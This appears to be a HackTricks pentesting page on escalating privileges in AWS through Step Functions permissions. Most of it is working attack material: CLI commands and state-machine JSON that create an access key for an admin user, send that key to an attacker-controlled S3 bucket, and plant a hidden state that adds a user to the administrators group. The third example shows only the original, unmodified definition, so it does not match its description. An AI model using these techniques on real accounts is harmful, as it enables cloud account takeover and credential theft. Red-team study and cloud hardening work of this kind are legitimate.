AWS - Step Functions Privesc

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Step Functions

For more information about this AWS service, check:

AWS - Step Functions Enum

Task Resources

These privilege escalation techniques are going to require to use some AWS step function resources in order to perform the desired privilege escalation actions.

In order to check all the possible actions, you could go to your own AWS account select the action you would like to use and see the parameters it's using, like in:

Or you could also go to the API AWS documentation and check each action docs:

states:TestState & iam:PassRole

An attacker with the states:TestState & iam:PassRole permissions can test any state and pass any IAM role to it without creating or updating an existing state machine, enabling unauthorized access to other AWS services with the roles' permissions. potentially. Combined, these permissions can lead to extensive unauthorized actions, from manipulating workflows to alter data to data breaches, resource manipulation, and privilege escalation.

aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]

The following examples show how to test an state that creates an access key for the admin user leveraging these permissions and a permissive role of the AWS environment. This permissive role should have any high-privileged policy associated with it (for example arn:aws:iam::aws:policy/AdministratorAccess) that allows the state to perform the iam:CreateAccessKey action:

  • stateDefinition.json:

{
  "Type": "Task",
  "Parameters": {
    "UserName": "admin"
  },
  "Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
  "End": true
}
  • Command executed to perform the privesc:

aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole

{
  "output": "{
	  \"AccessKey\":{
		  \"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
		  \"CreateDate\":\"2024-07-09T16:59:11Z\",
		  \"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
		  \"Status\":\"Active\",
		  \"UserName\":\"admin\"
	  }
  }",
	"status": "SUCCEEDED"
}

Potential Impact: Unauthorized execution and manipulation of workflows and access to sensitive resources, potentially leading to significant security breaches.

states:CreateStateMachine & iam:PassRole & (states:StartExecution | states:StartSyncExecution)

An attacker with the states:CreateStateMachine& iam:PassRole would be able to create an state machine and provide to it any IAM role, enabling unauthorized access to other AWS services with the roles' permissions. In contrast with the previous privesc technique (states:TestState & iam:PassRole), this one does not execute by itself, you will also need to have the states:StartExecution or states:StartSyncExecution permissions (states:StartSyncExecution is not available for standard workflows, just to express state machines) in order to start and execution over the state machine.

# Create a state machine
aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

# Start a state machine execution
aws states start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

# Start a Synchronous Express state machine execution
aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

The following examples show how to create an state machine that creates an access key for the admin user and exfiltrates this access key to an attacker-controlled S3 bucket, leveraging these permissions and a permissive role of the AWS environment. This permissive role should have any high-privileged policy associated with it (for example arn:aws:iam::aws:policy/AdministratorAccess) that allows the state machine to perform the iam:CreateAccessKey & s3:putObject actions.

  • stateMachineDefinition.json:

{
  "Comment": "Malicious state machine to create IAM access key and upload to S3",
  "StartAt": "CreateAccessKey",
  "States": {
    "CreateAccessKey": {
      "Type": "Task",
      "Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
      "Parameters": {
        "UserName": "admin"
      },
      "ResultPath": "$.AccessKeyResult",
      "Next": "PrepareS3PutObject"
    },
    "PrepareS3PutObject": {
      "Type": "Pass",
      "Parameters": {
        "Body.$": "$.AccessKeyResult.AccessKey",
        "Bucket": "attacker-controlled-S3-bucket",
        "Key": "AccessKey.json"
      },
      "ResultPath": "$.S3PutObjectParams",
      "Next": "PutObject"
    },
    "PutObject": {
      "Type": "Task",
      "Resource": "arn:aws:states:::aws-sdk:s3:putObject",
      "Parameters": {
        "Body.$": "$.S3PutObjectParams.Body",
        "Bucket.$": "$.S3PutObjectParams.Bucket",
        "Key.$": "$.S3PutObjectParams.Key"
      },
      "End": true
    }
  }
}
  • Command executed to create the state machine:

aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
  "stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
  "creationDate": "2024-07-09T20:29:35.381000+02:00"
}
  • Command executed to start an execution of the previously created state machine:

aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
    "executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
    "startDate": "2024-07-09T20:33:35.466000+02:00"
}

The attacker-controlled S3 bucket should have permissions to accept an s3:PutObject action from the victim account.

Potential Impact: Unauthorized execution and manipulation of workflows and access to sensitive resources, potentially leading to significant security breaches.

states:UpdateStateMachine & (not always required) iam:PassRole

An attacker with the states:UpdateStateMachine permission would be able to modify the definition of an state machine, being able to add extra stealthy states that could end in a privilege escalation. This way, when a legitimate user starts an execution of the state machine, this new malicious stealth state will be executed and the privilege escalation will be successful.

Depending on how permissive is the IAM Role associated to the state machine is, an attacker would face 2 situations:

  1. Permissive IAM Role: If the IAM Role associated to the state machine is already permissive (it has for example the arn:aws:iam::aws:policy/AdministratorAccess policy attached), then the iam:PassRole permission would not be required in order to escalate privileges since it would not be necessary to also update the IAM Role, with the state machine definition is enough.

  2. Not permissive IAM Role: In contrast with the previous case, here an attacker would also require the iam:PassRole permission since it would be necessary to associate a permissive IAM Role to the state machine in addition to modify the state machine definition.

aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

The following examples show how to update a legit state machine that just invokes a HelloWorld Lambda function, in order to add an extra state that adds the user unprivilegedUser to the administrator IAM Group. This way, when a legitimate user starts an execution of the updated state machine, this new malicious stealth state will be executed and the privilege escalation will be successful.

If the state machine does not have a permissive IAM Role associated, it would also be required the iam:PassRole permission to update the IAM Role in order to associate a permissive IAM Role (for example one with the arn:aws:iam::aws:policy/AdministratorAccess policy attached).

{
  "Comment": "Hello world from Lambda state machine",
  "StartAt": "Start PassState",
  "States": {
    "Start PassState": {
      "Type": "Pass",
      "Next": "LambdaInvoke"
    },
    "LambdaInvoke": {
      "Type": "Task",
      "Resource": "arn:aws:states:::lambda:invoke",
      "Parameters": {
        "FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
      },
      "Next": "End PassState"
    },
    "End PassState": {
      "Type": "Pass",
      "End": true
    }
  }
}
  • Command executed to update the legit state machine:

aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
    "updateDate": "2024-07-10T20:07:10.294000+02:00",
    "revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}

Potential Impact: Unauthorized execution and manipulation of workflows and access to sensitive resources, potentially leading to significant security breaches.

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated